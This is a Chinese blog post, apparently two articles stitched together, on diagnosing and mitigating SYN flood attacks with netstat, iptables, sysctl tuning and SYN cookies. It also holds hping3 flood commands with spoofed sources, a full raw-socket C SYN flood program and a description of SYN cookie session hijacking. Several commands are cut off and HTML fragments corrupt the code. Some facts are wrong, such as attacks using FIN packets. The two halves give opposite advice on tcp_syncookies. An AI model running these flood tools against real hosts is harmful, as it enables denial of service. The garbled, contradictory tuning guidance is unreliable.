1. SYN Flood介绍
前段时间网站被攻击多次,其中最猛烈的就是TCP洪水攻击,即SYN
SYN
详细的原理,网上有很多介绍,应对办法也很多,但大部分没什么效果,这里介绍我们是如何诊断和应对的。
2. 诊断
我们看到业务曲线大跌时,检查机器和DNS,发现只是对外的web机响应慢、CPU负载高、ssh登陆慢甚至有些机器登陆不上,检查系统syslog:
# tail -f /var/log/messages Apr 18 11:21:56 web5 kernel: possible SYN flooding on port 80. Sending cookies.
检查连接数增多,并且SYN_RECV
# netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' TIME_WAIT 16855 CLOSE_WAIT 21 SYN_SENT 99 FIN_WAIT1 229 FIN_WAIT2 113 ESTABLISHED 8358 SYN_RECV 48965 CLOSING 3 LAST_ACK 313
根据经验,正常时检查连接数如下:
# netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' TIME_WAIT 42349 CLOSE_WAIT 1 SYN_SENT 4 FIN_WAIT1 298 FIN_WAIT2 33 ESTABLISHED 12775 SYN_RECV 259 CLOSING 6 LAST_ACK 432
以上就是TCP洪水攻击的两大特征。执行netstat
3. 应急处理
根据netstat查看到的对方IP特征:
# netstat
利用iptables临时封掉最大嫌疑攻击的IP或IP号段,例如对方假冒173.*.*.*号段来攻击,短期禁用173.*.*.*这个大号段(要确认小心不要封掉自己的本地IP了!)
# iptables
再分析刚才保留的罪证,分析业务,用iptables解封正常173.*.*.*号段内正常的ip和子网段。这样应急处理很容易误伤,甚至可能因为封错了导致ssh登陆不了服务器,并不是理想方式。
4. 使用F5挡攻击
应急处理毕竟太被动,因为本机房的F5比较空闲,运维利用F5来挡攻击,采用方式:让客户端先和F5三次握手,连接建立之后F5才转发到后端业务服务器。后来被攻击时F5上看到的现象:
1.
2.
3.
5. 调整系统参数挡攻击
没有F5这种高级且昂贵的设备怎么办?我测试过以下参数组合能明显减小影响,准备以后不用F5抗攻击。
第一个参数tcp_synack_retries
不修改这个参数,模拟攻击,10秒后被攻击的80端口即无法服务,机器难以ssh登录;
修改这个参数为0,再模拟攻击,持续10分钟后被攻击的80端口都可以服务,响应稍慢些而已,只是ssh有时也登录不上;检测“半连接”只hold住3秒即释放掉。
修改这个参数为0的副作用:网络状况很差时,如果对方没收到第二个握手包,可能连接服务器失败,但对于一般网站,用户刷新一次页面即可。这些可以在高峰期或网络状况不好时tcpdump抓包验证下。
根据以前的抓包经验,这种情况很少,但为了保险起见,可以只在被tcp洪水攻击时临时启用这个参数。
tcp_synack_retries默认为5,表示重发5次,每次等待30~40秒,即“半连接”默认hold住大约180秒。详细解释:
an SYN request. In other words, this tells the system how many times to try to establish a passive
TCP connection that was started by another host.
This variable takes an integer value, but should under no circumstances be larger than 255 for the
same reasons as for the tcp_syn_retries variable. Each retransmission will take aproximately 30-40
seconds. The default value of the tcp_synack_retries variable is 5, and hence the default timeout
of passive TCP connections is aproximately 180 seconds.
之所以可以把tcp_synack_retries改为0,因为客户端还有tcp_syn_retries参数,默认是5,即使服务器端没有重发SYN+ACK包,客户端也会重发SYN握手包。详细解释:
packet for an active TCP connection attempt.
This variable takes an integer value, but should not be set higher than 255 since each
retransmission will consume huge amounts of time as well as some amounts of bandwidth. Each
connection retransmission takes aproximately 30-40 seconds. The default setting is 5, which
would lead to an aproximate of 180 seconds delay before the connection times out.
第二个参数net.ipv4.tcp_max_syn_backlog
以下配置,第一段参数是最重要的,第二段参数是辅助的,其余参数是其他作用的:
# vi
#最关键参数,默认为5,修改为0 表示不要重发
net.ipv4.tcp_synack_retries = 0
#半连接队列长度
net.ipv4.tcp_max_syn_backlog = 200000
#系统允许的文件句柄的最大数目,因为连接需要占用文件句柄
fs.file-max = 819200
#用来应对突发的大并发connect 请求
net.core.somaxconn = 65536
#最大的TCP 数据接收缓冲(字节)
net.core.rmem_max = 1024123000
#最大的TCP 数据发送缓冲(字节)
net.core.wmem_max = 16777216
#网络设备接收数据包的速率比内核处理这些包的速率快时,允许送到队列的数据包的最大数目
net.core.netdev_max_backlog = 165536
#本机主动连接其他机器时的端口分配范围
net.ipv4.ip_local_port_range = 10000 65535
使配置生效:
# sysctl
注意,以下参数面对外网时,不要打开。因为副作用很明显,具体原因请google,如果已打开请显式改为0,然后执行sysctl
#当出现 半连接 队列溢出时向对方发送syncookies,调大 半连接 队列后没必要
net.ipv4.tcp_syncookies = 0
#TIME_WAIT状态的连接重用功能
net.ipv4.tcp_tw_reuse = 0
#时间戳选项,与前面net.ipv4.tcp_tw_reuse参数配合
net.ipv4.tcp_timestamps = 0
#TIME_WAIT状态的连接回收功能
net.ipv4.tcp_tw_recycle = 0
为了处理大量连接,还需改大另一个参数:
# vi
在底下添加一行表示允许每个用户都最大可打开409600个文件句柄(包括连接):
*
6. 参考资料
文件句柄不要超过系统限制/usr/include/linux/fs.h,相关链接: http://blog.yufeng.info/archives/1380
#define
内核参数详细解释:http://www.frozentux.net/ipsysctl-tutorial/chunkyhtml/tcpvariables.html
简介
TCP协议要经过三次握手才能建立连接:
(from wiki)
于是出现了对于握手过程进行的攻击。攻击者发送大量的FIN包,服务器回应(SYN+ACK)包,但是攻击者不回应ACK包,这样的话,服务器不知道(SYN+ACK)是否发送成功,默认情况下会重试5次(tcp_syn_retries)。这样的话,对于服务器的内存,带宽都有很大的消耗。攻击者如果处于公网,可以伪造IP的话,对于服务器就很难根据IP来判断攻击者,给防护带来很大的困难。
攻与防
攻击者角度
从攻击者的角度来看,有两个地方可以提高服务器防御的难度的:
- 变换端口
- 伪造IP
变换端口很容易做到,攻击者可以使用任意端口。
攻击者如果是只有内网IP,是没办法伪造IP的,因为伪造的SYN包会被路由抛弃。攻击者如果是有公网IP,则有可能伪造IP,发出SYN包。(TODO,待更多验证)
hping3
hping3是一个很有名的网络安全工具,使用它可以很容易构造各种协议包。
用下面的命令可以很容易就发起SYN攻击:
sudo hping3 --flood -S -p 9999 x.x.x.x #random source address sudo hping3 --flood -S --rand-source -p 9999 x.x.x.x
–flood 是不间断发包的意思
-S
更多的选项,可以man hping3 查看文档,有详细的说明。
如果是条件允许,可以伪造IP地址的话,可以用–rand-source参数来伪造。
我在实际测试的过程中,可以伪造IP,也可以发送出去,但是服务器没有回应,从本地路由器的统计数据可以看出是路由器把包给丢弃掉了。
我用两个美国的主机来测试,使用
sudo hping3 –flood -S
发现,实际上攻击效果有限,只有网络使用上涨了,服务器的cpu,内存使用都没有什么变化:
为什么会这样呢?下面再解析。
防御者角度
当可能遇到SYN flood攻击时,syslog,/var/log/syslog里可能会出现下面的日志:
kernel: [3649830.269068] TCP: Possible SYN flooding on port 9999. Sending cookies. Check SNMP counters.
这个也有可能是SNMP协议误报,下面再解析。
从防御者的角度来看,主要有以下的措施:
- 内核参数的调优
- 防火墙禁止掉部分IP
linux内核参数调优主要有下面三个:
- 增大tcp_max_syn_backlog
- 减小tcp_synack_retries
- 启用tcp_syncookies
tcp_max_syn_backlog
从字面上就可以推断出是什么意思。在内核里有个队列用来存放还没有确认ACK的客户端请求,当等待的请求数大于tcp_max_syn_backlog时,后面的会被丢弃。
所以,适当增大这个值,可以在压力大的时候提高握手的成功率。手册里推荐大于1024。
tcp_synack_retries
这个是三次握手中,服务器回应ACK给客户端里,重试的次数。默认是5。显然攻击者是不会完成整个三次握手的,因此服务器在发出的ACK包在没有回应的情况下,会重试发送。当发送者是伪造IP时,服务器的ACK回应自然是无效的。
为了防止服务器做这种无用功,可以把tcp_synack_retries设置为0或者1。因为对于正常的客户端,如果它接收不到服务器回应的ACK包,它会再次发送SYN包,客户端还是能正常连接的,只是可能在某些情况下建立连接的速度变慢了一点。
tcp_syncookies
根据man tcp手册,tcp_syncookies是这样解析的:
当半连接的请求数量超过了tcp_max_syn_backlog时,内核就会启用SYN cookie机制,不再把半连接请求放到队列里,而是用SYN cookie来检验。
手册上只给出了模糊的说明,具体的实现没有提到。
linux下SYN cookie的实现
查看了linux的代码(https://github.com/torvalds/linux/blob/master/net/ipv4/syncookies.c
SYN cookie是非常巧妙地利用了TCP规范来绕过了TCP连接建立过程的验证过程,从而让服务器的负载可以大大降低。
在三次握手中,当服务器回应(SYN + ACK)包后,客户端要回应一个n + 1的ACK到服务器。其中n是服务器自己指定的。当启用tcp_syncookies时,linux内核生成一个特定的n值,而不并把客户的连接放到半连接的队列里(即没有存储任何关于这个连接的信息)。当客户端提交第三次握手的ACK包时,linux内核取出n值,进行校验,如果通过,则认为这个是一个合法的连接。
即ISN(initial sequence number),是一个无符号的32位整数,那么linux内核是如何把信息记录到这有限的32位里,并完成校验的?
首先,TCP连接建立时,双方要协商好MSS(Maximum segment size),服务器要把客户端在ACK包里发过来的MSS值记录下来。
另外,因为服务器没有记录ACK包的任何信息,实际上是绕过了正常的TCP握手的过程,服务器只能靠客户端的第三次握手发过来的ACK包来验证,所以必须要有一个可靠的校验算法,防止攻击者伪造ACK,劫持会话。
linux是这样实现的:
1. 在服务器上有一个60秒的计时器,即每隔60秒,count加一;
2. MSS是这样子保存起来的,用一个硬编码的数组,保存起一些MSS值:
static __u16 const msstab[] = { 536, 1300, 1440, 1460, };
比较客户发过来的mms,取一个比客户发过来的值还要小的mms。算法很简单:
u32 __cookie_v4_init_sequence(const struct iphdr *iph, const struct tcphdr *th, u16 *mssp) { int mssind; const __u16 mss = *mssp; for (mssind = ARRAY_SIZE(msstab) - 1; mssind ; mssind--) if (mss >= msstab[mssind]) break; *mssp = msstab[mssind]; return secure_tcp_syn_cookie(iph->saddr, iph->daddr, th->source, th->dest, ntohl(th->seq), mssind); }
比较客户发过来的mms,取一个比客户发过来的值还要小的mms。
真正的算法在这个函数里:
static __u32 secure_tcp_syn_cookie(__be32 saddr, __be32 daddr, __be16 sport, __be16 dport, __u32 sseq, __u32 data) { u32 count = tcp_cookie_time(); return (cookie_hash(saddr, daddr, sport, dport, 0, 0) + sseq + (count << COOKIEBITS) + ((cookie_hash(saddr, daddr, sport, dport, count, 1) + data) & COOKIEMASK)); }
data实际上是mss的值对应的数组下标,count是每一分钟会加1,sseq是客户端发过来的sequence。
这样经过hash和一些加法,得到了一个ISN值,其中里记录了这个连接合适的MSS值。
当接收到客户端发过来的第三次握手的ACK包时,反向检查即可:
int __cookie_v4_check(const struct iphdr *iph, const struct tcphdr *th, u32 cookie) { __u32 seq = ntohl(th->seq) - 1; __u32 mssind = check_tcp_syn_cookie(cookie, iph->saddr, iph->daddr, th->source, th->dest, seq); return mssind < ARRAY_SIZE(msstab) ? msstab[mssind] : 0; }
先得到原来的seq,再调用check_tcp_syn_cookie函数:
static __u32 check_tcp_syn_cookie(__u32 cookie, __be32 saddr, __be32 daddr, __be16 sport, __be16 dport, __u32 sseq) { u32 diff, count = tcp_cookie_time(); cookie -= cookie_hash(saddr, daddr, sport, dport, 0, 0) + sseq; diff = (count - (cookie >> COOKIEBITS)) & ((__u32) -1 >> COOKIEBITS); if (diff >= MAX_SYNCOOKIE_AGE) return (__u32)-1; return (cookie - cookie_hash(saddr, daddr, sport, dport, count - diff, 1)) & COOKIEMASK; }
先减去之前的一些值,第一个hash和sseq。然后计算现在的count(每60秒加1的计数器)和之前的发给客户端,然后客户端返回过来的count的差:
如果大于MAX_SYNCOOKIE_AGE,即2,即2分钟。则说明已经超时了。
否则,计算得出之前放进去的mss。这样内核就认为这个是一个合法的TCP连接,并且得到了一个合适的mss值,这样就建立起了一个合法的TCP连接。
可以看到SYN cookie机制十分巧妙地不用任何存储,以略消耗CPU实现了对第三次握手的校验。
但是有得必有失,ISN里只存储了MSS值,因此,其它的TCP Option都不会生效,这就是为什么SNMP协议会误报的原因了。
更强大的攻击者
SYN cookie虽然十分巧妙,但是也给攻击者带了新的攻击思路。
因为SYN cookie机制不是正常的TCP三次握手。因此攻击者可以构造一个第三次握手的ACK包,从而劫持会话。
攻击者的思路很简单,通过暴力发送大量的伪造的第三次握手的ACK包,因为ISN只有32位,攻击者只要发送全部的ISN数据ACK包,总会有一个可以通过服务器端的校验。
有的人就会问了,即使攻击者成功通过了服务器的检验,它还是没有办法和服务器正常通讯啊,因为服务器回应的包都不会发给攻击者。
刚开始时,我也有这个疑问,但是TCP允许在第三次握手的ACK包里带上后面请求的数据,这样可以加快数据的传输。所以,比如一个http服务器,攻击者可以通过在第三次握手的ACK包里带上http get/post请求,从而完成攻击。
所以对于服务器而言,不能只是依靠IP来校验合法的请求,还要通过其它的一些方法来加强校验。比如CSRF等。
值得提醒的是即使是正常的TCP三次握手过程,攻击者还是可以进行会话劫持的,只是概率比SYN cookie的情况下要小很多。
详细的攻击说明:http://www.91ri.org/7075.html
一个用raw socket SYN flood攻击的代码
下面给出一个tcp syn flood的攻击的代码:
#include #include #include #include #include #include #include #include #include #include #include #pragma pack(1) struct pseudo_header //needed for checksum calculation { unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; }; #pragma pack() unsigned short csum(unsigned short *ptr, int nbytes) { "white-space:pre"> long sum; "white-space:pre"> unsigned short oddbyte; "white-space:pre"> short answer; "white-space:pre"> sum = 0; "white-space:pre"> while (nbytes > 1) { "white-space:pre"> sum += *ptr++; "white-space:pre"> nbytes -= 2; "white-space:pre"> } "white-space:pre"> if (nbytes == 1) { "white-space:pre"> oddbyte = 0; "white-space:pre"> *((u_char*) &oddbyte) = *(u_char*) ptr; "white-space:pre"> sum += oddbyte; "white-space:pre"> } "white-space:pre"> sum = (sum >> 16) + (sum & 0xffff); "white-space:pre"> sum = sum + (sum >> 16); "white-space:pre"> answer = (short) ~sum; "white-space:pre"> return (answer); } void oneSyn(int socketfd, in_addr_t source, u_int16_t sourcePort, in_addr_t destination, u_int16_t destinationPort) { static char sendBuf[sizeof(iphdr) + sizeof(tcphdr)] = { 0 }; bzero(sendBuf, sizeof(sendBuf)); struct iphdr* ipHeader = (iphdr*) sendBuf; struct tcphdr *tcph = (tcphdr*) (sendBuf + sizeof(iphdr)); ipHeader->version = 4; ipHeader->ihl = 5; ipHeader->tos = 0; ipHeader->tot_len = htons(sizeof(sendBuf)); ipHeader->id = htons(1); ipHeader->frag_off = 0; ipHeader->ttl = 254; ipHeader->protocol = IPPROTO_TCP; ipHeader->check = 0; ipHeader->saddr = source; ipHeader->daddr = destination; ipHeader->check = csum((unsigned short*) ipHeader, ipHeader->ihl * 2); //TCP Header tcph->source = htons(sourcePort); tcph->dest = htons(destinationPort); tcph->seq = 0; tcph->ack_seq = 0; tcph->doff = 5; //sizeof(tcphdr)/4 tcph->fin = 0; tcph->syn = 1; tcph->rst = 0; tcph->psh = 0; tcph->ack = 0; tcph->urg = 0; tcph->window = htons(512); tcph->check = 0; tcph->urg_ptr = 0; //tcp header checksum struct pseudo_header pseudoHeader; pseudoHeader.source_address = source; pseudoHeader.dest_address = destination; pseudoHeader.placeholder = 0; pseudoHeader.protocol = IPPROTO_TCP; pseudoHeader.tcp_length = htons(sizeof(tcphdr)); memcpy(&pseudoHeader.tcp, tcph, sizeof(struct tcphdr)); tcph->check = csum((unsigned short*) &pseudoHeader, sizeof(pseudo_header)); struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(sourcePort); sin.sin_addr.s_addr = destination; ssize_t sentLen = sendto(socketfd, sendBuf, sizeof(sendBuf), 0, (struct sockaddr *) &sin, sizeof(sin)); if (sentLen == -1) { perror("sent error"); } } int main(void) { //for setsockopt int optval = 1; //create a raw socket int socketfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if (socketfd == -1) { perror("create socket:"); exit(0); } if (setsockopt(socketfd, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) < 0) { perror("create socket:"); exit(0); } in_addr_t source = inet_addr("192.168.1.100"); in_addr_t destination = inet_addr("192.168.1.101"); u_int16_t sourcePort = 1; u_int16_t destinationPort = 9999; while (1) { oneSyn(socketfd, source, sourcePort++, destination, destinationPort); sourcePort %= 65535; sleep(1); } return 0; }
总结:
对于SYN flood攻击,调整下面三个参数就可以防范绝大部分的攻击了。
- 增大tcp_max_syn_backlog
- 减小tcp_synack_retries
- 启用tcp_syncookies
貌似现在的内核默认都是开启tcp_syncookies的。
转载请注明:爱开源 » TCP洪水攻击(SYN Flood)的诊断和处理